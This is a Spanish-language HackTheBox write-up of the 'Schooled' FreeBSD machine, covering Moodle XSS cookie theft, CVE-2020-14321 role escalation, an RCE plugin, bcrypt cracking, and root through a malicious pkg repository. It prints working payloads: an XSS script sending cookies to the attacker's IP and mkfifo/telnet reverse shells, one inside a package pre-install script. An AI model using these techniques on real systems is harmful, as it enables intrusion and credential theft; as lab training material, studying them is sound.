Schooled presenta Moodle donde encontramos una vulnerabilidad que permite escalar privilegios desde el rol Teacher a Administrator, además, con la manipulacion de permisos e instalacion de un plugin ejecutar comandos en la maquina. Creamos un repositorio utilizando PKG y un paquete de instalacion, este ultimo fue modificado para obtener acceso privilegiado.
Nombre |
Schooled |
OS |
FreeBSD |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.234 |
Maker |
TheCyberGeek |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.5, 6.8, 6, 4, 3.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[8, 8, 8, 2, 2],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80), ssh (22) y el puerto mysql (33060) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
# Nmap 7.92 scan initiated Wed Sep 15 07:51:29 2021 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.234
Warning: 10.129.95.59 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.95.59 (10.129.95.59)
Host is up (0.093s latency).
Not shown: 48317 filtered ports, 17215 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
Luego pasamos el archivo "allPorts" a nuestra función "extractPorts", lo que hace esto es extraer los puertos que previamente escaneamos con nmap .
# Nmap done at Wed Apr 7 02:06:44 2021 -- 1 IP address (1 host up) scanned in 104.58 seconds
# Nmap 7.92 scan initiated Wed Sep 15 08:01:13 2021 as: nmap -sC -sV -p22,80,33060 -n -oN targeted 10.10.10.234
Nmap scan report for 10.129.95.59 (10.129.95.59)
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 7 02:07:33 2021 -- 1 IP address (1 host up) scanned in 20.34 seconds
|
HTTP
Encontramos una pagina estatica en el puerto 80, logramos ver el dominio schooled.htb
en el footer de la pagina el cual agregamos a /etc/hosts
.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos, pero solo encontramos las direcciones que se muestran en la pagina.
1
2
3
4
5
6
7
8
|
# gobuster dir -u http://schooled.htb/ -w directory-list-2.3-medium.txt -x php,html,txt,yaml,bak -q -t 50
/images (Status: 301)
/contact.html (Status: 200)
/about.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/teachers.html (Status: 200)
|
Vemos en la pagina /teachers.html
varios nombres y apellidos, lo cual podria servir para crear un diccionario de usuarios y/o contraseñas.
Tambien encontramos informacion importante, mencionan que proveen educacion online en la plataforma Moodle, pero, no encontramos ninguna direccion a moodle con gobuster.
WFUZZ - Subdominios
Utilizamos wfuzz
para verificar si existe algun subdominio, vemos que existe moodle.schooled.htb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
┌──(root@parrot#)-[~/htb/schooled]
└─$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt.txt -H "Host: FUZZ.schooled.htb" --hw=45 20750 --hc404,400 400 -t 200 http://10.10.10.234/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.59/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002576: 200 1 L 5 W 84 Ch "moodle"
Total time: 0
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 0
|
MOODLE
Tras agregar el subdominio al archivo /etc/hosts
encontramos la plataforma moodle.
Al intentar registrar un usuario saltó un error en el correo electronico, mostró que solo esta permitido el subdominio: student.schooled.htb
, enumeramos con gobuster este subdominio pero no encontramos nada interesante. Utilizamos el subdominio en el correo electronico para el registro.
Tras el registro ingresamos a la plataforma y encontramos 4 cursos con el nombre de quienes los imparten, solo en el curso de Mathematics tenemos permiso para ingresar, en el curso logramos obtener informacion del profesor Manuel Phillips
, quien tiene el correo phillips_manuel@staff.schooled.htb
y rol de Teacher
. Además vemos una larga lista de estudiantes quienes estan inscritos en este curso.
1
|
Manuel Phillips, phillips_manuel@staff.schooled.htb, Teacher
|
Tambien encontramos dos anuncios, en el primero indica Jamie Borham
la fecha de inicio de clases.
1
2
3
4
|
Jamie Borham:
We will commence studies on 7th January 2021. Please be aware that lectures will
be delivered online on a week by week basis and content will be released on the day of study.
|
En el segundo anuncio menciona que los estudiantes del curso de Phillips
deben de tener configurado en su perfil la opcion de MoodleNet, y menciona que estará verificando esta configuracion en el perfil de los estudiantes.
1
2
3
4
5
6
7
|
Manuel Phillips:
This is a self enrollment course. For students who wish to attend my lectures be sure
that you have your MoodleNet profile set.
Students who do not set their MoodleNet profiles will be removed from the course
before the course is due to start and I will be checking all students who are enrolled on this course.
Look forward to seeing you all soon.
|
Phillips Account
Como sabemos Phillips verifica el campo MoodleNet
en el perfil de los estudiantes inscritos en el curso que imparte, con esto, editamos el campo MoodleNet
con etiquetas HTML y Javascript para verificar si es posible realizar algun tipo de solicitud cuando el perfil sea visitado. Vemos que las etiquetas HTML y codigo Javascript se muestran al visitar nuestro perfil.
Editamos nuevamente ahora con: <script src="http://10.10.14.10/a"></script>
, apuntando hacia un archivo de nuestra maquina, verificando nuevamente que la solicitud se realice, esta vez a nuestra maquina.
Creamos un miniservidor, despues unos minutos logramos obtener una solicitud de dicho archivo.
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root@parrot#)-[~/htb/schooled]
└─$ ifconfig tun0 |grep inet && sudo python3 -m http.server 80
inet 10.10.14.10 netmask 255.255.254.0 destination 10.10.14.10
inet6 dead:beef:2::1008 prefixlen 64 scopeid 0x0<global>
inet6 fe80::515:84c7:6091:42f6 prefixlen 64 scopeid 0x20<link>
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.10 - - [07/Apr/2021 05:09:18] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:09:18] "GET /a HTTP/1.1" 404 -
10.129.95.59 - - [07/Apr/2021 05:11:39] code 404, message File not found <---
10.129.95.59 - - [07/Apr/2021 05:11:39] "GET /a HTTP/1.1" 404 - <---
10.129.95.59 - - [07/Apr/2021 05:11:40] code 404, message File not found <---
10.129.95.59 - - [07/Apr/2021 05:11:40] "GET /a HTTP/1.1" 404 - <---
|
Editamos nuevamente, esta vez con codigo que nos envie el valor de su cookie.
1
|
<script>document.write('<img src="http://10.10.14.10/a?cookie=' + document.cookie + '" />')</script>
|
Obtuvimos una peticion con el valor de una cookie.
1
2
3
4
|
10.10.14.10 - - [07/Apr/2021 05:27:16] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:27:16] "GET /a?cookie=TinyMCE_toggle=id_description_editor%3D0;%20MoodleSession=d8p8jermnc90vr0vt6ce15v8ka HTTP/1.1" 404 -
10.129.95.59 - - [07/Apr/2021 05:28:13] code 404, message File not found
10.129.95.59 - - [07/Apr/2021 05:28:13] "GET /a?cookie=MoodleSession=cb7sn364b42d0qe1eercuuickd HTTP/1.1" 404 - <---- COOKIE
|
Reemplazamos la cookie actual utilizando Firefox (F12), con lo cual logramos acceder a la cuenta de Phillips
.
MOODLE - RCE
Al tener acceso a la cuenta de Phillips
tenemos permisos de administrar el curso de Matematicas, al entrar observamos en el footer una direccion externa a la documentacion de Moodle en su version 3.9
por lo que ahora podriamos realizar una busqueda de vulnerabilidades con esta version.
Encontramos un video - [#moodle RCE | #CVE-2020-14321 PoC] el cual utilizamos para escalar privilegios desde una cuenta con el rol Teacher
y poder ejecutar comandos mendiante la instalacion de un plugin.
Manager
Verificamos el ID de nuestro usuario que registramos en la url visitando nuestro perfil.
1
|
http://moodle.schooled.htb/moodle/user/profile.php?id=[ID]
|
podria ser alguno que tenga la extension staff.schooled.htb
tomando en cuenta que uno de estos usuarios tiene el rol de Administrador
Dentro del curso de Matematicas agregamos un usuario cualquiera, capturamos la solicitud la cual se va a modificar utilizando burpsuite, en la solicitud modificamos las “variables”: userlist[]=24
y &roletoassign=5
. La primera pertenece al usuario a agregar, en este caso vamos a agregar el nuestro, el Id de Philips y la segunda pertenece al rol (manager) que se le va a asignar al usuario el cual modificamos a 1
.
1
2
3
4
|
GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=TFFRjCD1t7&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
Host: moodle.schooled.htb
[... REDACTED ...]
|
Tras modificar y enviar la solicitud deberiamos de ver en la lista de usuarios del curso nuestro rol como Manager
.
Manager > Admin
Al filtrar los usuarios por la extension del staff dentro del curso, vemos que Lianne Carter
tiene el rol de Manager
.
Verificamos este ultimo usuario y vemos que tiene la opcion Log in as
la cual aprovechamos.
Logramos obtener acceso y vemos que este usuario tiene acceso al area de administracion.
Plugin > RCE
Modificamos la solicitud de Users > Permissions > Define Roles > Manager > Edit > Save Changes
utilizando el payload para dar todos los permisos a este usuario y asi tener acceso a la seccion de plugins.
1
2
3
4
5
6
|
POST /moodle/admin/roles/define.php?action=edit&roleid=1 HTTP/1.1
Host: moodle.schooled.htb
[ ... REDACTED ... ]
sesskey=jLH3lQNtzo [... PAYLOAD ... ]
|
Ahora con todos los permisos logramos obtener acceso a la seccion de plugins donde instalamos el plugin para ejecucion de comandos.
Ahora nos dirigimos a la direccion /moodle/blocks/rce/lang/en/block_rce.php?cmd=id
donde logramos ejecutar comandos en la maquina.
1
2
3
4
5
6
|
┌──(root@parrot#)-[~/htb/schooled/tmp]
└─$ curl -s "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id;whoami;pwd;uname%20-a"
uid=80(www) gid=80(www) groups=80(www)
www
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en
FreeBSD Schooled 13.0-BETA3 FreeBSD 13.0-BETA3 #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021 root@releng1.nyi.freebsd.org:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
|
www - User
Utilizamos una shell inversa para FreeBSD para obtener una shell con el usuario www
.
1
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 172.18.0.2 8080 > /tmp/f
|
1
2
3
4
5
6
7
|
┌──(root@parrot#)-[~/htb/schooled]
└─$ nc -l -p 1338
id
uid=80(www) gid=80(www) groups=80(www)
whoami;pwd
www
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en
|
MySQL - Moodle DB
Realizamos una enumeracion a los archivos de configuracion de moodle y encontramos las credenciales para la base de datos en mysql.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
pwd
/usr/local/www/apache24/data/moodle/
cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8_unicode_ci',
);
$CFG->wwwroot = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot = '/usr/local/www/apache24/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
which mysql
find / -name mysql 2>/dev/null
/usr/local/bin/mysql
/usr/local/share/bash-completion/completions/mysql
/usr/local/share/mysql
/usr/local/include/mysql
/usr/local/include/mysql/mysql
/usr/local/etc/mysql
/usr/local/lib/mysql
/var/mail/mysql
/var/db/mysql
/var/db/mysql/mysql
|
Enumeramos la base de datos de Moodle y encontramos las contraseñas encriptadas de los usuarios del staff.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "show databases;"
Database
information_schema
moodle
/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "use moodle; show tables;"
Tables_in_moodle
mdl_analytics_indicator_calc
mdl_analytics_models
[ ... REDACTED ... ]
mdl_url
mdl_user
mdl_user_devices
mdl_user_enrolments
mdl_user_info_category
mdl_user_info_data
mdl_user_info_field
mdl_user_lastaccess
mdl_user_password_history
mdl_user_password_resets
mdl_user_preferences
mdl_user_private_key
[ ... REDACTED ... ]
/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "use moodle; select id,username,password,email from mdl_user where email like '%staff.schooled.htb';"
id username password email
2 admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW jamie@staff.schooled.htb
23 higgins_jane $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2 higgins_jane@staff.schooled.htb
24 phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG phillips_manuel@staff.schooled.htb
25 carter_lianne $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe carter_lianne@staff.schooled.htb
|
Jamie - User
Verificamos los usuarios registrados en la maquina, y encontramos a jamie
a quien le pusimos más prioridad para crackear el hash.
1
2
3
|
cat /etc/passwd | grep home
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
steve:*:1002:1002:User &:/home/steve:/bin/csh
|
Password Cracking
Tras ejecutar John con el wordlist rockyou encontramos su contraseña.
1
2
3
4
5
6
7
8
9
10
11
|
┌──(root@parrot#)-[~/htb/schooled]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_mysql_moodl
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
1g 0:00:02:49 DONE (2021-04-08 04:19) 0.005903g/s 82.04p/s 82.04c/s 82.04C/s 110689..superpet
Use the "--show" option to display all of the cracked passwords reliably
Session completed
|
Utilizamos la contraseña con el usuario jamie
en el servicio SSH para obtener una shell y nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
┌──(root@parrot#)-[~/htb/schooled]
└─$ ssh jamie@schooled.htb # !QAZ2wsx
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021
[ ... REDACTED ... ]
# zfs allow -u receiver compression,mountpoint,mount,create,receive rxpool
-- Benedict Reuschling <bcr@FreeBSD.org>
jamie@Schooled:~ $ whoami;id;pwd
jamie
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
/home/jamie
jamie@Schooled:~ $ cat user.txt | cut -c1-15
ecf7c6d61bfc9c8
jamie@Schooled:~ $
|
PrivEsc
Con sudo -l -l
vemos que tenemos permisos root para ejecutar el comando pkg update
y pkg install *
. Verificamos la configuracion de pkg
y vemos que el repositorio está en devops.htb
, intentamos crear un archivo de configuracion alternativo pero no tenemos permisos suficientes. La direccion IP de devops.htb
es local.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
amie@Schooled:~ $ sudo -l -l
User jamie may run the following commands on Schooled:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/sbin/pkg update
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/sbin/pkg install *
jamie@Schooled:~ $ cat /etc/pkg/FreeBSD.conf
# $FreeBSD$
#
# To disable this repository, instead of modifying or removing this file,
# create a /usr/local/etc/pkg/repos/FreeBSD.conf file:
#
# mkdir -p /usr/local/etc/pkg/repos
# echo "FreeBSD: { enabled: no }" > /usr/local/etc/pkg/repos/FreeBSD.conf
#
FreeBSD: {
url: "pkg+http://devops.htb:80/packages",
mirror_type: "srv",
signature_type: "none",
fingerprints: "/usr/share/keys/pkg",
enabled: yes
}
jamie@Schooled:~ $ mkdir -p /usr/local/etc/pkg/repos
mkdir: /usr/local/etc/pkg: Permission denied
jamie@Schooled:~ $ cat /etc/hosts|grep devops.htb
192.168.1.14 devops.htb
jamie@Schooled:~ $
|
Despues de dar algunas vueltas verificamos los permisos del archivo /etc/hosts
y observamos que el grupo wheel
al que jamie
pertenece tiene permisos sobre este archivo, por lo que podemos modificar la direccion IP del repositorio.
1
2
3
|
jamie@Schooled:~ $ ls -ld /etc/hosts
-rw-rw-r-- 1 root wheel 1098 Mar 17 15:47 /etc/hosts
jamie@Schooled:~ $
|
PKG - Repo
Bash Package
Iniciamos ejecutando pkg create -a
lo cual obtendra todos los paquetes instalados dentro de la maquina, obtenemos el archivo bash (podria ser otro) y cancelamos el proceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
jamie@Schooled:~ $ mkdir packages
jamie@Schooled:~ $ cd packages/
jamie@Schooled:~/packages $ pkg create -a
Loading the package list...
Creating package for adwaita-icon-theme-3.38.0
[... REDACTED ...]
Creating package for bash-5.1.4
Creating package for bash-completion-2.11,2
Creating package for ca_root_nss-3.58
Creating package for cairo-1.16.0_1,3
^C
jamie@Schooled:~/packages $
|
Una vez con el archivo target, extraemos el contenido de bash-5.1.4.txz
y se crearan dos archivos y una carpeta, finalmente eliminamos o movemos el archivo bash-5.1.4.txz
.
1
2
3
4
5
6
7
8
|
jamie@Schooled:~/packages $ mv bash-5.1.4.txz ../
jamie@Schooled:~/packages $ rm *
jamie@Schooled:~/packages $ mv ../bash-5.1.4.txz .
jamie@Schooled:~/packages $ tar -xJf bash-5.1.4.txz
tar: Removing leading '/' from member names
jamie@Schooled:~/packages $ ls
+COMPACT_MANIFEST +MANIFEST bash-5.1.4.txz usr
jamie@Schooled:~/packages $ rm bash-5.1.4.txz
|
Pre-script
Dentro del archivo +MANIFEST
es posible agregar comandos cuando un paquete es instalado utilizando el objeto scripts
dentro de este, basados de la informacion de un ejemplo, agregamos pre-scripts
al archivo con un comando de prueba obteniendo la flag root.txt
.
1
2
3
4
|
"scripts": {
"pre-install": "cat /root/root.txt > /home/jamie/root.txt",
... , ...
}
|
Además de ello modificamos la version al inicio de los archivos +MANIFEST
y +COMPACT_MANIFEST
a una más alta o reciente.
- "version":"5.1.4"
+ "version":"6.1.4"
Luego de esto creamos un nuevo archivo con todos los archivos y carpetas con el nombre bash-6.1.4.txz
.
1
2
3
4
5
6
7
8
9
|
jamie@Schooled:~/packages $ tar cJf bash-6.1.4.txz *
jamie@Schooled:~/packages $ ls
+COMPACT_MANIFEST +MANIFEST bash-6.1.4.txz usr
jamie@Schooled:~/packages $ mkdir tmp
jamie@Schooled:~/packages $ mv bash-6.1.4.txz tmp
jamie@Schooled:~/packages $ cd tmp/
jamie@Schooled:~/packages/tmp $ ls
bash-6.1.4.txz
jamie@Schooled:~/packages/tmp $
|
Repo Files
Ejecutamos pkg repo .
para crear todos los archivos necesarios para un repositorio con informacion de los paquetes dentro del directorio actual en este caso solo el paquete bash
que contiene el comando ingresado.
1
2
3
4
5
6
7
8
|
jamie@Schooled:~/packages/tmp $ ls
bash-6.1.4.txz
jamie@Schooled:~/packages/tmp $ pkg repo .
Creating repository in .: 100%
Packing files for repository: 100%
jamie@Schooled:~/packages/tmp $ ls
bash-6.1.4.txz meta.conf meta.txz packagesite.txz
jamie@Schooled:~/packages/tmp $
|
Comprimimos la carpeta completa y la enviamos con netcat hacia nuestra maquina.
1
2
3
4
5
6
7
8
9
10
11
12
|
jamie@Schooled:~/packages/tmp $ cd ..
jamie@Schooled:~/packages $ ls
+COMPACT_MANIFEST +MANIFEST tmp usr
jamie@Schooled:~/packages $ tar -zcvf a.tar.gz tmp/
a tmp
a tmp/meta.txz
a tmp/packagesite.txz
a tmp/bash-6.1.4.txz
a tmp/meta.conf
jamie@Schooled:~/packages $ ls a.tar.gz
a.tar.gz
jamie@Schooled:~/packages $
|
Repo Server
En nuestra maquina descomprimimos los archivos y creamos un mini servidor con python. Hay que mencionar que la carpeta con la informacion del repositorio debe llevar el nombre de packages
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
╭─root@parrot ~/htb/schooled/repo2
╰─➤ ls
a.tar.gz
╭─root@parrot ~/htb/schooled/repo2
╰─➤ tar -xvf a.tar.gz
tmp/
tmp/meta.txz
tar: tmp/meta.txz: time stamp 2021-04-09 06:05:48 is 53.360748238 s in the future
tmp/packagesite.txz
tar: tmp/packagesite.txz: time stamp 2021-04-09 06:05:48 is 53.360611328 s in the future
tmp/bash-6.1.4.txz
tar: tmp/bash-6.1.4.txz: time stamp 2021-04-09 06:05:09 is 14.353302812 s in the future
tmp/meta.conf
tar: tmp/meta.conf: time stamp 2021-04-09 06:05:48 is 53.353078807 s in the future
tar: tmp: time stamp 2021-04-09 06:05:48 is 53.353037336 s in the future
╭─root@parrot ~/htb/schooled/repo2
╰─➤ ls
a.tar.gz tmp
╭─root@parrot ~/htb/schooled/repo2
╰─➤ mv tmp packages
╭─root@parrot ~/htb/schooled/repo2
╰─➤ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
|
Devops.htb
En la maquina (schooled) editamos el archivo /etc/hosts
agregando nuestra direccion IP al dominio devops.htb
.
1
2
3
|
jamie@Schooled:~/packages $ cat /etc/hosts|grep devops
10.10.14.145 devops.htb
jamie@Schooled:~/packages $
|
Install pkg > root.txt
Finalmente ejecutamos pkg update
y pkg install bash
, este ultimo comando ejecutará cat /root/root.txt > /home/jamie/root.txt
por lo que podremos leer nuestra flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
jamie@Schooled:~/packages $ sudo pkg update
Updating FreeBSD repository catalogue...
Fetching meta.conf: 100% 163 B 0.2kB/s 00:01
Fetching packagesite.txz: 100% 932 B 0.9kB/s 00:01
Processing entries: 100%
FreeBSD repository update completed. 1 packages processed.
All repositories are up to date.
jamie@Schooled:~/packages $ sudo pkg install bash
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 1 package(s) will be affected (of 0 checked):
Installed packages to be UPGRADED:
bash: 5.1.4 -> 7.1.4
Number of packages to be upgraded: 1
1 MiB to be downloaded.
Proceed with this action? [y/N]: y
[1/1] Fetching bash-6.1.4.txz: 100% 1 MiB 127.4kB/s 00:12
Checking integrity... done (0 conflicting)
[1/1] Upgrading bash from 5.1.4 to 7.1.4...
pkg: duplicate annotation: binary, ignoring
[1/1] Extracting bash-7.1.4: 0%
pkg: Directory //usr not specified in the manifest, skipping
pkg: Directory //usr/local not specified in the manifest, skipping
pkg: Directory //usr/local/man not specified in the manifest, skipping
pkg: Directory //usr/local/share not specified in the manifest, skipping
pkg: Directory //usr/local/libdata not specified in the manifest, skipping
pkg: Directory //usr/local/lib not specified in the manifest, skipping
pkg: Directory //usr/local/include not specified in the manifest, skipping
pkg: Directory //usr/local/bin not specified in the manifest, skipping
pkg: File //usr/local/bin/bashbug not specified in the manifest
[1/1] Extracting bash-7.1.4: 100%
jamie@Schooled:~/packages $
jamie@Schooled:~ $ ls -lah /home/jamie/root.txt
-rw-r--r-- 1 root jamie 33B Apr 9 10:18 /home/jamie/root.txt
jamie@Schooled:~ $ cat root.txt | cut -c1-15
269e8ad27983a7b
jamie@Schooled:~ $
|
Shell - Root
Utilizamos el mismo procedimiento para crear un nuevo paquete y repositorio, los cambios fueron en +MANIFEST
donde agregamos una shell inversa y una version mayor a la ya instalada, este ultimo se agrego en +COMPACT_MANIFEST
.
1
2
3
4
|
"scripts": {
"pre-install": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.145 1339 > /tmp/f",
... , ...
}
|
Tras instalar el paquete logramos obtener una shell como root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
╭─root@parrot# ~/htb/schooled/repo2/packages
╰─➤ rlwrap nc -lvvp 1339
listening on [any] 1339 ...
connect to [10.10.14.145] from schooled.htb [10.10.10.234] 13002
whoami;id;pwd
root
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
/usr/home/jamie/packages
cd /root
ls
.cache
.cshrc
.history
.k5login
.lesshst
.login
.profile
.shrc
.ssh
root.txt
scripts
cat root.txt | cut -c1-15
269e8ad27983a7b
cat /home/jamie/user.txt | cut -c1-15
ecf7c6d61bfc9c8
|